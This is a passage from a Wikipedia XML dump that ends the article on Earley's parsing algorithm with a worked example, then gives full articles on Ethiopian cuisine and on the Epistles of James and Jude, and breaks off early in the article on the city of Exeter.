To understand how Earley's algorithm executes, you have to understand [[dot notation]].  Given a production A &amp;rarr; BCD (where B, C, and D are symbols in the grammar, terminals or nonterminals), the notation A &amp;rarr; B &amp;bull; C D represents a condition in which B has already been parsed and the sequence C D is expected.

For every input position (which represents a position ''between'' [[token (parser)|tokens]]), the parser generates a ''state set''.  Each state is the [[cartesian product]] (that is, just the combination) of:

* A dot condition for a particular production.
* The position at which the matching of this production began: the ''origin state''.

The state set at input position ''k'' is called S(''k'').  The parser is seeded with S(0) being the top-level rule.  The parser then iteratively operates in three stages:  ''prediction'', ''scanning'', and ''completion''.  In the following descriptions, &amp;alpha;, &amp;beta;, and &amp;gamma; represent any sequence of terminals/nonterminals (including the null sequence), X, Y, and Z represent single nonterminals, and ''a'' represents a terminal symbol.

* '''Prediction''':  For every state in S(''k'') of the form (X &amp;rarr; &amp;alpha; &amp;bull; Y &amp;beta;, ''j'') (where ''j'' is the origin state as above), add (Y &amp;rarr; &amp;bull; &amp;gamma;, ''k'') to S(''k'') for every production with Y on the left-hand side.

* '''Scanning''': If ''a'' is the next symbol in the input stream, for every state in S(''k'') of the form (X &amp;rarr; &amp;alpha; &amp;bull; ''a'' &amp;beta;, ''j''), add (X &amp;rarr; &amp;alpha; ''a'' &amp;bull; &amp;beta;, ''j'') to S(''k''+1).

* '''Completion''': For every state in S(''k'') of the form (X &amp;rarr; &amp;gamma; &amp;bull;, ''j''), find states in S(''j'') of the form (Y &amp;rarr; &amp;alpha; &amp;bull; X &amp;beta;, ''i'') and add (Y &amp;rarr; &amp;alpha; X &amp;bull; &amp;beta;, ''i'') to S(''k'').

These steps are repeated until no more states can be added to the set.  This is generally realized by making a queue of states to process, and performing the corresponding operation depending on what kind of state it is.  For the implementor, it is important to note that this is a ''set'' of states, and that you not add two identical states to the same set.

== Example ==

The algorithm is hard to see from the abstract description above.  It becomes much clearer how it operates once you see it in action.  The output is a little verbose, but you should be able to follow it.

Let's say you have the following simple arithmetic grammar:

  P &amp;rarr; S      # the start rule
  S &amp;rarr; S + M
     | M
  M &amp;rarr; M * T
     | T
  T &amp;rarr; number

And you have the input:

  2 + 3 * 4

''Here are the generated state sets:''

  (state no.) Production          (Origin) # Comment
  ---------------------------------
  == S(0): &amp;bull; 2 + 3 * 4 ==
  (1)  P &amp;rarr; &amp;bull; S         (0)    # start rule
  (2)  S &amp;rarr; &amp;bull; S + M     (0)    # predict from (1)
  (3)  S &amp;rarr; &amp;bull; M         (0)    # predict from (1)
  (4)  M &amp;rarr; &amp;bull; M * T     (0)    # predict from (3)
  (5)  M &amp;rarr; &amp;bull; T         (0)    # predict from (3)
  (6)  T &amp;rarr; &amp;bull; number    (0)    # predict from (5)
  
  == S(1): 2 &amp;bull; + 3 * 4 ==
  (1)  T &amp;rarr; number &amp;bull;    (0)    # scan from S(0)(6)
  (2)  M &amp;rarr; T &amp;bull;         (0)    # complete from S(0)(5)
  (3)  M &amp;rarr; M &amp;bull; * T     (0)    # complete from S(0)(4)
  (4)  S &amp;rarr; M &amp;bull;         (0)    # complete from S(0)(3)
  (5)  S &amp;rarr; S &amp;bull; + M     (0)    # complete from S(0)(2)
  (6)  P &amp;rarr; S &amp;bull;         (0)    # complete from S(0)(1)
  
  == S(2): 2 + &amp;bull; 3 * 4 ==
  (1)  S &amp;rarr; S + &amp;bull; M     (0)    # scan from S(1)(5)
  (2)  M &amp;rarr; &amp;bull; M * T     (2)    # predict from (1)
  (3)  M &amp;rarr; &amp;bull; T         (2)    # predict from (1)
  (4)  T &amp;rarr; &amp;bull; number    (2)    # predict from (3)
  
  == S(3): 2 + 3 &amp;bull; * 4 ==
  (1)  T &amp;rarr; number &amp;bull;    (2)    # scan from S(2)(4)
  (2)  M &amp;rarr; T &amp;bull;         (2)    # complete from S(2)(3)
  (3)  M &amp;rarr; M &amp;bull; * T     (2)    # complete from S(2)(2)
  (4)  S &amp;rarr; S + M &amp;bull;     (0)    # complete from S(2)(1)
  (5)  S &amp;rarr; S &amp;bull; + M     (0)    # complete from S(0)(2)
  (6)  P &amp;rarr; S &amp;bull;         (0)    # complete from S(0)(1)
  
  == S(4): 2 + 3 * &amp;bull; 4 ==
  (1)  M &amp;rarr; M * &amp;bull; T     (2)    # scan from S(3)(3)
  (2)  T &amp;rarr; &amp;bull; number    (4)    # predict from (1)
  
  == S(5): 2 + 3 * 4 &amp;bull; ==
  (1)  T &amp;rarr; number &amp;bull;    (4)    # scan from S(4)(2)
  (2)  M &amp;rarr; M * T &amp;bull;     (2)    # complete from S(4)(1)
  (3)  M &amp;rarr; M &amp;bull; * T     (2)    # complete from S(2)(2)
  (4)  S &amp;rarr; S + M &amp;bull;     (0)    # complete from S(2)(1)
  (5)  S &amp;rarr; S &amp;bull; + M     (0)    # complete from S(0)(2)
  (6)  P &amp;rarr; S &amp;bull;         (0)    # complete from S(0)(1)

And now the input is parsed, since we have the state (P &amp;rarr; S &amp;bull;, 0) (note that we also had it in S(3) and S(1); those were complete sentences).

== References ==

J. Earley. An efficient context-free parsing algorithm. ''Communications of the Association for Computing Machinery'', 13(2):94-102, 1970.

== See also ==

* [[CYK algorithm]]
* [[Context-free grammar]]
* [[List of algorithms#Parsing|Parsing Algorithms]]
* [http://search.cpan.org/~lpalmer/Parse-Earley-0.15/Earley.pm Parse::Earley] An Earley parser [[Perl]] module.
* [http://cocom.sourceforge.net/ammunition-13.html 'early'] An Earley parser [[C_programming_language|C]] -library.
* [http://pages.cpsc.ucalgary.ca/~aycock/spark/ Spark] an Object Oriented &quot;little language framework&quot; for [[Python programming language|Python]] that implements an earley parser.

[[Category:Parsing algorithms]]

[[de:Earley-Algorithmus]]</text>
    </revision>
  </page>
  <page>
    <title>Cuisine of Ethiopia</title>
    <id>9686</id>
    <revision>
      <id>41826889</id>
      <timestamp>2006-03-02T00:19:36Z</timestamp>
      <contributor>
        <username>TKE</username>
        <id>531146</id>
      </contributor>
      <comment>Rev</comment>
      <text xml:space="preserve">{{cuisine}}
'''Ethiopian cuisine''' consists of various vegetable or meat side dishes and entrees, usually a ''wat'' or thick stew, served atop [[injera]], a large [[sourdough]] [[flatbread]], which is 50 cm (20 inches) in diameter and made out of fermented [[teff]] flour. One does not eat with utensils, but instead uses injera (always with the right hand) to scoop up the entrees and side dishes.
[[Image:Alicha 1.jpg|thumb|left|This meal, consisting of ''[[injera]]'' and several kinds of ''wat'' (stew), is typical of [[Ethiopia]]n and [[Eritrea]]n cuisine.]]
Traditional Ethiopian cuisine employs no [[pork]] of any kind, as most Ethiopians are either [[Islam|Muslims]] or [[Ethiopian Orthodox Tewahedo Church|Ethiopian Orthodox Christians]], and are thus prohibited from eating pork. Furthermore, the Ethiopian Orthodox Church prescribes a number of [[fasting]] (''tsom'') periods, including Wednesdays, Fridays, and the entire [[Lent|Lenten]] season, so Ethiopian cuisine contains many [[vegetarian cuisine|vegetarian]] (''ye'tsom'') dishes. Ethiopian restaurants are a popular choice for vegetarians living in Western countries. 

''[[Berbere]]'', a combination of powdered [[chile pepper]] and other spices (somewhat analogous to [[Indian cuisine|Indian]] [[curry]]), is an important ingredient used in many dishes. Also essential is ''[[niter kebbeh]]'', a [[clarified butter]] infused with ginger, garlic, and several spices.

Wat stews all begin with a large amount of chopped red [[onions]], which the cook simmers in a pot.  Once the onions have softened, the cook adds niter kebbeh (or, in the case of vegetarian dishes, [[vegetable oil]]).  Following this, the cook adds berbere to make a spicy ''kai'' (red) wat, or may omit the berbere for a milder ''aletcha'' wat.  (In the event that the berbere is particularly spicy, the cook may elect to add it before the kibbeh or oil so  the berbere will cook longer and become milder.)  Finally, the cook adds [[meat]] such as [[beef]] (''siga''), [[chicken]] (''doro''), or [[lamb]] (''beg''); [[legume]]s such as split [[pea]]s (''kek'') or [[lentil]]s (''misr''); or [[vegetables]] such as [[potato]]es (''dinich''). 

Alternatively, rather than being prepared as a stew, meat or vegetables may be [[Sautéing|sautéed]] to make ''tebs''.

Another distinctive Ethiopian dish is ''ketfo'' (frequently listed as ''kitfo''), which consists of raw (or rare) ground beef marinated in ''mitmita'' (very spicy chili powder) and ''niter kibbeh''. ''Gored gored'' is very similar to ''ketfo'', but uses cubed, rather than ground, beef. 

''[[firfir]]'' made from shredded injera with spices (''injera b injera'') is the typical breakfast food. Also ''dulet'' is popular for breakfast, a spicy mixture of beef parts with injera. ''Fatira'' consists of a large fried pancake made with flour often with a layer of egg, eaten with honey. ''Chechebsa'' is a very good food too, it is made pieces of pancake, with spices and honey, and it can be eaten with a spoon. 

[[Gurage]] cuisine additionally makes use of the false banana plant (''enset''), a type of [[ensete]].  The plant is pulverized and fermented to make a bread-like food called ''kocho,'' which is eaten with ketfo.  The root of this plant may be powderized and prepared as a hot drink called ''bula'', which is often given to those who are tired or ill. Another typical Gurage cuisine is coffee with butter (''kebbeh'').

[[Tej]] is a honey wine, similar to [[mead]], that is frequently drunk in bars (in particular, in a ''tejbeit''). [[Katikal]] and [[Araki]] are inexpensive local spirits that are very strong.

Ethiopian cuisine is virtually the same as the [[Cuisine of Eritrea]], given the shared history of the two countries.

==External links==
*[http://www.ethiopianrestaurant.com/index.html Ethiopian Restaurants: Worldwide Listing]
*[http://www.gonomad.com/features/0211/ethiopiafood.html Eating and Drinking in Ethiopia]
*[http://www.globalgourmet.com/destinations/ethiopia/index.html Ethiopia: Spicy Food from the Cradle of Civilization]
*[http://www.musical-saw.com/injera.htm Injera recipe] Injera is a traditional Ethiopian meal

[[Category:Ethiopian cuisine|*]]

[[de:Äthiopische Küche]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle of James</title>
    <id>9688</id>
    <revision>
      <id>42046518</id>
      <timestamp>2006-03-03T12:44:08Z</timestamp>
      <contributor>
        <username>Brusselsshrek</username>
        <id>235512</id>
      </contributor>
      <comment>linked to justification by faith</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle of James''' is a book of the [[New Testament]], best known for its teaching that &quot;[[faith]] without works is dead&quot; (James 2:26 KJV).

==Authorship==
The author identifies himself in the opening verse as &quot;James, a servant of [[God]] and of the Lord [[Jesus]] Christ&quot;.  Of the several people named [[James|James in the New Testament]], three have garnered support as being this James:
# From the middle of the third century, patristic authors cited the ''Epistle'' as written by [[James the Just]], the brother of [[Jesus]]. This James was not one of the Twelve, but Paul described him as &quot;the brother of the Lord&quot; in [[Epistle to Galatians|Galatians]] 1:19 and as one of the three pillars of the Church in 2:9.
# [[John Calvin]] and others suggested that the author was [[St. James the Less|James, son of Alphaeus]], apparently the brother of [[Matthew the Evangelist|Matthew]], aka Levi.  It is feasible that James of Alphaeus is the same person as the author of [[Gospel of Mark|Mark]] 15:40.  Since very little is known about this person, this proposal does not tell us very much about the author.
# It is rarely but occasionally argued that this James was the apostle [[Saint James the Great]], brother of [[John the Evangelist|John]], son of [[Zebedee]].  However, most conclude that the author was not the apostle James, because he died too early.  Specifically, James must have been killed before [[44]], but the Epistle of James seems to be written in order to clear up misconceptions about [[Paul of Tarsus|Paul]]'s teaching on justification by faith in the [[50s]].

Many modern, critical scholars consider the epistle to be [[pseudepigraphy|pseudepigraphical]] and so the author could have been anyone, but they generally agree that &quot;James, a servant of God and of the Lord Jesus Christ&quot; was intended by its author to refer to James the Just, the patriarch of the Jewish Christians at Jerusalem. Of course, it is also possible that the author was a completely unrelated James who never intended to attribute his work to James the Just.

== Date and place of composition ==
If written by James the Just, the place and time of the writing of the epistle would be [[Jerusalem]], where James was residing before his martyrdom in [[62]].  If pseudepigraphical, then any time from [[50]] to [[200]] is possible. It was first definitely quoted by [[Origen]], and possibly a bit earlier by [[Clement of Alexandria]] in a lost work if [[Eusebius]] is to be believed.

== Canonicity ==
In the first centuries of the Church the authenticity of the Epistle was doubted by some, and amongst others by [[Theodore of Mopsuestia|Theodore]], Bishop of Mopsuestia in Cilicia; it is therefore deuterocanonical. It is missing in the [[Muratorian fragment]], and because of the silence of several of the western churches regarding it, [[Eusebius]] classes it amongst the ''antilegomena'' or contested writings (''Historia ecclesiae'', 3.25; 2.23). St. [[Jerome]] gives a similar appraisal but adds that with time it had been universally admitted.

Its late recognition in the Church, especially in the West, may be explained by the fact that it was written for Jewish Christians, and therefore not widely circulated among the Gentile Churches. There is some indication that a few groups distrusted the book because of its doctine. However, it was included among the 27 New Testament books first listed by [[Athanasius of Alexandria]] and eventually confirmed by a series of councils in the fourth century.

In Reformation times a few theologians, most notably [[Martin Luther]], argued that this epistle was too defective to be part of the canonical New Testament. This is probably due to the book's specific teaching that faith alone is not enough for salvation, which Luther saw appeared to contradict his doctrine of [[sola fide]] (faith alone).

Most denominations of Christianity today consider this book to be a canonical epistle of the New Testament. See [[Biblical canon]].

==Contents==
The epistle was addressed to the [[Judaism|Jews]] of the dispersion, &quot;the twelve tribes scattered abroad.&quot; 

The object of the writer was to enforce the practical duties of the [[Christianity|Christian]] life. The vices against which he warns them are: formalism, which made the service of God consist in washings and outward ceremonies, whereas he reminds them (1:27) that it consists rather in active love and purity; fanaticism, which, under the cloak of religious zeal, was tearing Jerusalem in pieces (1:20); fatalism, which threw its sins on God (1:13); meanness, which crouched before the rich (2:2); falsehood, which had made words and oaths play-things (3:2-12); partisanship (3:14); evil speaking (4:11); boasting (4:16); oppression (5:4). The great lesson which he teaches them as Christians is patience, patience in trial (1:2), patience in good works (1:22-25), patience under provocation (3:17), patience under oppression (5:7), patience under persecution (5:10); and the ground of their patience is that the coming of the Lord draweth nigh, which is to right all wrong (5:8).

&quot;Justification by works,&quot; which James contends for, may be contrasted with the doctrine of &quot;[[justification by faith]]&quot;, which [[Paul of Tarsus|Paul]] contends for in his own New Testament epistles.  One way that Christians reconcile these perspectives by viewing that of James as a justification before others, that is to say the justification of a Christian's profession of faith by a consistent life; while Paul's emphasis was a justification before God, being regarded and accepted as just by virtue of the righteousness of Christ, which is received by faith. Another way that some Church fathers reconciled the two was to view true saving faith as faith that is energized by love, and that therefore is accompanied by good works, as opposed to a faith that is only intellectual assent to a set of beliefs. An interesting cross-reference is [[Acts of the Apostles|Acts]] 26:20, where Paul says that he has been preaching &quot;that they should repent and turn to God, ''performing deeds appropriate to repentance''&quot; (NASB, emphasis added). Some use this passage as evidence that Paul agreed with James that all true (or &quot;living&quot;) faith is accompanied by works.

With this in mind, James should be considered didactic (teaching morality) rather than [[kerugmatic]] (preaching the gospel). The writer does not attempt to present the Gospel kernel (I Corinthians 15:3-8, Acts 10:38-43), but rather a system of ethics, affirmatives and negatives. Other early parallels that illustrate this dualistic paradigm (the two ways, light &amp; darkness, right &amp; wrong) appear in the teachings of Jesus, the Qumran documents, and the first part of the [[Didache]]. This observation places the audience, and this epistle, within an early Jewish context, before 70 A.D. The meeting place is still the ''Synagogue'' (2:2).

James' epistle is also the chief biblical text for [[Anointing of the Sick]] (sometimes, misleadingly, called &quot;Last Rites&quot;).  James writes, ''&quot;Are any among you sick? They should call for the elders of the church and have them pray over them, anointing them with oil in the name of the Lord. And their prayer offered in faith will heal the sick, and the Lord will make them well. And anyone who has committed sins will be forgiven.&quot;'' (5:14,15).

== External links ==
Online translation of the [[Epistle of James]]:
* {{biblegateway||James}}
* [http://www.newadvent.org/cathen/08275b.htm Catholic Encyclopedia article]


&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Hebrews|Hebrews]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[First Epistle of Peter|1 Peter]]
|}
&lt;/center&gt;

[[category:New Testament books|James]]

[[de:Brief des Jakobus]]
[[es:Epístola de Santiago]]
[[fr:Épître de Jacques]]
[[ko:야고보의 편지]]
[[id:Surat Yakobus]]
[[it:Lettera di Giacomo]]
[[jv:Yakobus]]
[[nl:Brief van Jakobus]]
[[ja:ヤコブの手紙]]
[[pt:Epístola de Tiago]]
[[fi:Jaakobin kirje]]
[[sv:Jakobsbrevet]]
[[zh:雅各書]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle of Jude</title>
    <id>9689</id>
    <revision>
      <id>39932928</id>
      <timestamp>2006-02-16T22:39:16Z</timestamp>
      <contributor>
        <ip>66.92.67.96</ip>
      </contributor>
      <text xml:space="preserve">{{Books of the New Testament}}
The brief '''Epistle of Jude''' is a book in the Christian [[New Testament]] [[Biblical canon|canon]]. 

== Author and date ==

The [[epistle]] is titled as written by ''&quot;Jude, a servant of [[Jesus]] Christ and a brother of James&quot;'' ([[NIV]]), although that authorship is doubted by many scholars. As opinions and traditions within the Christian community still differ as to the identity of Jude or Judas, the brother of Jesus and James, the issues of the apostle's identity are discussed at [[Jude Thomas]]. 

Norman Perrin writes (''The New Testament: An Introduction'', p. 260), &quot;The letter is pseudonymous, as is all the literature of emergent catholicism in the New Testament.&quot; Though the text claims to come from Jude, who is called also &quot;Lebbaeus&quot; ([[Gospel of Matthew|Matthew]] 10:3) and &quot;[[Thaddaeus]]&quot; ([[Gospel of Mark|Mark]] 3:18), its real authorship was called into question when [[Origen]] first spoke of the doubts held by some&amp;mdash;albeit not him. [[Eusebius]] classified it with the &quot;disputed writings, the ''[[antilegomena]],'' and though it was eventually accepted within the canon (as early as the [[Muratorian fragment|Muratorian canon]]), later writers largely objected to its citations of [[apocrypha]]l literature, unusual in New Testament books.

Then, as now, the main thing that renders this short letter so controversial is the fact that it includes a direct quote from the [[Book of Enoch]].  This latter book, purporting to be the first book ever written, is known to have been in regular use by Jewish and Christian groups alike, until ca. 90 AD when the Pharisee Sanhedrin at Yavneh declared it to be &quot;no longer scriptural&quot; and began its systematic suppression, practically erasing it from history.  Were it not for the Epistle of Jude, the Dead Sea Scrolls, and the Ethiopian Bible, never affected by Yavneh, Enoch would be unknown today.

Doubts regarding Jude's authenticity were revived at the time of the [[Reformation]]. The debate has continued over the author's identity as the apostle, the brother of Jesus, both, or neither. 

Since at least the beginning of the [[20th century]] the ''Epistle of Jude'' has been considered an anonymous work composed as late as the first quarter of the [[2nd century]]. Based on the nature of the allusions to the [[Septuagint]] translation of the [[Old Testament]], citations of rabbinical works like the ''[[Book of Enoch]]'' and the ''[[Apocalypse of Moses]]'', the earliest apostolic followers seen by this author from some distance in time, and the appropriation of the authority of the historical Jude, current belief places its composition in [[Judea]], in the first quarter of the 2nd century.

==Style==
The ''Epistle of Jude'' is a brief book of only a single chapter with 25 verses. It was composed as an ''[[encyclical]] letter''&amp;mdash;that is, one not directed to the members of one church in particular, but intended rather to be circulated and read in all churches. The form, as opposed to the earlier letters of Paul, suggests that the author knew Paul's ''[[Epistle to the Ephesians]]'' or even that the Pauline epistles had already been collected and were circulating when the text was written.  

The fluent Greek style is idiomatic and cultured. The epistle is addressed to Christians in general (1:1), and it seeks to put them on their guard against the misleading efforts of certain teachers of error to whom they were being exposed. Examples of heterodox opinions that were circulating in the early 2nd century include [[Docetism]], [[Marcionism]], and [[Gnosticism]]. 

The epistle's style is combative, impassioned, and rushed. Many examples of evildoers and warnings about their fates are given in rapid succession. The epithets used against unorthodox teachers are some of the strongest and most vitriolic in the New Testament.

The doxology with which the epistle concludes is regarded as one of the finest in the New Testament. 

The striking resemblance this epistle bears to ''[[2 Peter|Second Epistle of Peter]]'' suggests that the author of one was familiar with the other. Because this epistle is much shorter than 2 Peter, and due to various stylistic details, the scholarly consensus is that Jude was the source for the similar passages of 2 Peter.

==External links==
Online translations of the [[Epistle of Jude]]:
* [http://www.o-bible.com/cgibin/ob.cgi?chapter=1&amp;book=jue&amp;version=hb5&amp;version=kjv&amp;version=bbe Jude in KJV BBE CUV]
* [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;version=NIV&amp;passage=Jude Jude at Bible Gateway] (various versions)
* [http://www.earlychristianwritings.com/jude.html Early Christian writings:] ''Epistle of Jude:'' comparable translations and interpretations


Related article:
* [http://www.site-berea.com/dicionarios.html ''Easton's Bible Dictionary'', (1897)]
* [http://www.newadvent.org/cathen/08542b.htm Catholic Encyclopedia]

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Third Epistle of John|3 John]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Book of Revelation|Revelation]]
|}
&lt;/center&gt;

[[Category:New Testament books|Jude]]
[[de:Brief des Judas]]
[[es:Epístola de Judas]]
[[fr:Épître de Jude]]
[[ko:유다의 편지]]
[[id:Surat Yudas]]
[[nl:Brief van Judas]]
[[ja:ユダの手紙]]
[[pl:List Judy]]
[[pt:Epístola de Judas]]
[[fi:Juudaksen kirje]]
[[sv:Judasbrevet]]
[[zh:犹大书]]</text>
    </revision>
  </page>
  <page>
    <title>Exeter</title>
    <id>9691</id>
    <revision>
      <id>41605600</id>
      <timestamp>2006-02-28T13:25:47Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: simple</comment>
      <text xml:space="preserve">{{otheruses}}
{| border=1 cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=300 style=margin-left:10px
|-
!colspan=2 align=center bgcolor=&quot;#ff9999&quot;|City of Exeter
|-
|align=center|[[Image:Exeter - Devon dot.png|115px|Devon]]
|align=center|[[Image:DevonExeter.png|150px|Exeter]]&lt;br /&gt;''Shown within [[Devon]]''
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Geography
|-
|width=&quot;45%&quot;|Status:||City
|-
|[[Regions of England|Region]]:||[[South West England]]
|-
|Admin. County:||[[Devon]]
|-
|[[Surface area|Area]]:&lt;br /&gt;- Total||[[List of English districts by area|Ranked 303rd]]&lt;br /&gt;[[1 E7 m²|47.03]] [[square kilometre|km&amp;sup2;]]
|-
|Admin. HQ:||Exeter
|-
|[[ONS coding system|ONS code]]:||18UC
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Demographics
|-
|[[Population]]:&lt;br&gt;- Total ([[2004]] est.)&lt;br&gt;- [[Density]]||[[List of English districts by population|Ranked 177th]]&lt;br&gt;115,200&lt;br&gt;2,450 / km&amp;sup2;
|-
|Ethnicity:||97.6% White
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Politics
|-
|colspan=2 align=center|[[Image:Arms-exeter.jpg|200px|Arms of Exeter City Council]]&lt;br /&gt;Exeter City Council&lt;br /&gt;http://www.exeter.gov.uk
|-
|[[Local_government_in_England#Councils_and_councillors|Leadership]]:||Leader &amp; Cabinet
|-
|Executive:||All party
|-
|[[MPs elected in the UK general election, 2005|MP]]:||[[Ben Bradshaw]]
|}
The [[city status in the United Kingdom|city]] of '''Exeter''' is the [[county town]] of [[Devon]], in [[England]], [[United Kingdom|UK]]. It is located at {{coor dms|50|43|25|N|3|31|39|W|}}.  In the [[2001]] census its population was recorded at 111,066.  The city's motto, ''[[Semper fidelis]]'', was suggested by [[Elizabeth I of England|Elizabeth I]].

==Situation==
Until the construction of main road by-passes in the [[twentieth century]], Exeter was the lowest bridging point of the [[River Exe]], and therefore developed as an administrative and route centre.  From [[Anglo-Saxons|Saxon]] times until the [[nineteenth century]], the [[diocese]] of Exeter covered the whole of the counties of [[Devon]] and [[Cornwall]], and civil administration and services tended to follow the lines of the ecclesiastical.  Exeter was also a port: the limit of tides of the River Exe lies below Exeter, and the small town of [[Topsham, Devon|Topsham]] on the estuary (nowadays within the city limits) developed as a port for the city, but goods were transported to the city's [[quays]] in [[lighter (barge)|lighters]].  Eventually a ship canal was constructed so that ocean-going vessels could reach the city's quays, and this remained in regular use until ships increased in size with the development of [[steam power]].  It is still used for leisure boating.

==Economy==
The city provides strong industries and services to a sizable area.  The [[Met Office]], the main [[weather]] forecasting organisation for the [[United Kingdom]] and one of the most significant in the world, relocated from [[Bracknell]] in Berkshire to Exeter in early [[2004]].  It is one of the three largest employers in the area (the others being the [[University of Exeter]] and Devon [[County Council]]), providing a welcome boost to the local [[economics|economy]].

On [[June 26]], 2004, Exeter was granted [[Fairtrade City]] status.  

In June [[2005]] it was singled out among towns with populations between 5,000 and 150,000 as the worst &quot;clone town&quot; in [[Great Britain]].  By &quot;clone town&quot; the [[New Economics Foundation]] meant &quot;a place that has had the individuality of its [[high street]] shops replaced by a monochrome strip of [[Chain store|global and national chains]]&quot;; by the foundation's metric Exeter is the town most easily &quot;mistaken for dozens of other bland town centres across the country.&quot;  Exeter's High Street had only one independent shop at the time of the survey (a tobacconist), and the least varied selection of shop types, with &quot;little more than clothing retailers, a few
electronics shops and some stationery or bookstores&quot; instead of the independence and diversity seen in towns such as [[Hebden Bridge]], [[Peebles]], and [[Lewes]].  Many local residents feel that this was a superficial judgement, and that the Foundation's researchers seem not to have looked very hard; while Exeter's independent shops do mostly eschew the High Street (a characterless example of quick post-war reconstruction following the [[1942]] bombing), there are plenty of them in the more interesting roads immediately connecting to it, as a recent survey by the [[Royal Town Planning Institute]] confirms.

==History==
The [[Latin]] name for Exeter, ''Isca Dumnoniorum '' (&quot;Isca of the [[Dumnones]]&quot;), suggests that the city was originally a [[Celt]]ic [[oppidum]], or town, on the banks on the River [[Exe]] prior to the foundation of the [[Roman Britain|Roman city]] in c. AD [[50]]. Such early towns, or proto-cities, had been a feature of pre-Roman Gaul as described by [[Julius Caesar]] in his ''[[Commentarii de Bello Gallico]]'' (&quot;Commentaries on the Gallic Wars&quot;) and it is not improbable that they existed in neighbouring [[Britain]] as well.  Isca is clearly a [[Celtic languages|Celtic]] generic noun and the Romans felt the need to label the city Isca Dumnoniorum, or the Isca of the Dumnonii, in order to distinguish it from such settlements as [[Isca Silurum]] (modern Caerleon-on-Usk in Monmouthshire).

Isca Dumnoniorum was the most south-westerly Roman fortified settlement in England.  Significant parts of the Roman wall remain, though the present visible structure was largely built on the orders of [[Alfred the Great]] to protect the far west of his kingdom following the Viking occupation of [[876]]. Most of its route can be traced on foot.  There is a substantial [[Roman baths]] complex that was excavated in the 1970s.[http://www.britarch.ac.uk/ba/ba65/feat2.shtml], but because of its proximity to the cathedral, it has not been practicable to retain the excavation for public view.  Exeter was also the southern starting point for the [[Fosse Way]] [[Roman road]].

In [[876]] Exeter was attacked and captured by the Danes. King Alfred drove them out the next year.

The city was again besieged by the Danes in [[894]] however they were not able to take the city, and soon abandoned the siege.

In [[1067]] the city rebelled against [[William the Conqueror]] who promptly marched West to besiege the city. The city submitted only after an 18-day siege. Part of the capitulation agreement was that all the nobles in the city would be confirmed in their positions as long as a castle was built.

Exeter was held against King Stephen by [[Baldwin de Redvers]] in [[1140]] and submitted only after a three month siege when the supplies of fresh water ran out.

In [[1537]], the city was made a [[county corporate]].  The Livery Dole [[Almshouse]]s and [[Chapel]] at [[Heavitree]] were founded in March [[1591]] and finished in [[1594]]. They can still be seen today in the street which bears the name ''Livery Dole''.

Exeter was at first a [[Parliamentary]] town in the [[English Civil War]] in the largely Royalist South West, but it was captured by the [[Cavaliers|Royalists]] on the 4th of September 1643 and it remained in their control until near the end of the war.

Early in the English [[Industrial revolution]], Exeter's industry developed on the basis of locally available agricultural products, since the city's location on a fast-flowing river gave it ready access to [[water power]].  However when [[steam power]] replaced water in the nineteenth century, Exeter was too far from sources of coal (or iron) to develop further.  As a result the city declined in relative importance, and was spared the rapid [[nineteenth century]] development that changed many historic European cities.

Exeter was bombed by the [[Germany|German]] [[Luftwaffe]] during [[World War II|WWII]], in a [[1942]] raid that formed part of the [[Baedeker Blitz]]. Forty [[acre]]s (160,000 m&amp;sup2;) of the city, particularly adjacent to its central High Street and Sidwell Street, were levelled by [[incendiary weapon|incendiary bombing]]. Many historic buildings were destroyed, and others, including [[Exeter Cathedral]], damaged. The city was rebuilt in the 1950s in an attempt to preserve its ancient heritage, though many feel that the post-war reconstruction was weak and failed to conserve partly-damaged structures that could have been saved, as well as making too many concessions to motor traffic. Currently, despite some local opposition, one rebuilt street, Princesshay, is being redeveloped again in a more modern style. Previously regarded as second only to [[Bath]] as an architectural site in southern England, Exeter is now a city with some beautiful buildings rather than a beautiful city.  As a result, although there is a significant [[tourist]] trade, Exeter is not dominated by tourism.

==Politics and administration==
Exeter forms a single [[Exeter_%28UK_Parliament_constituency%29|parliamentary constituency]].  It is relatively marginal, and since the second World War its [[Member of Parliament]] has usually been drawn from the governing party.  At the [[United Kingdom general election, 1997]], [[Ben Bradshaw]] was elected as MP for Exeter, and he retained the seat at the elections of [[United Kingdom general election, 2001|2001]] and [[United Kingdom general election, 2005|2005]].

Exeter's [[city council]] is a [[Non-metropolitan district|district]] authority, and shares responsibility for [[local government]] with the Devon [[County Council]].  In recent years, the city council has been dominated by [[Labour Party (UK)|Labour Party]] and [[Liberal Democrats (UK)|Liberal Democrat]] members.  Since [[2003]], no party has had a majority on the council.

==Notable Buildings==

&lt;div style=&quot;float:right; width:250px; padding: 2px; text-align:center; border:1px solid; margin:1em;&quot;&gt;
[[Image:Exeter Cathedral (West End) 300px.jpg|240px]]
&lt;br /&gt;
&lt;small&gt;The front of [[Exeter Cathedral]]&lt;/small&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:rougemontcastle.jpg|240px|Ruined gatehouse at Rougemont Castle]]
&lt;br /&gt;
&lt;small&gt;Ruined gatehouse at [[Rougemont Castle]]. Note the red sandstone, characteristic of many older Exeter buildings.&lt;/small&gt;
&lt;/div&gt;

Among the notable buildings in Exeter are:
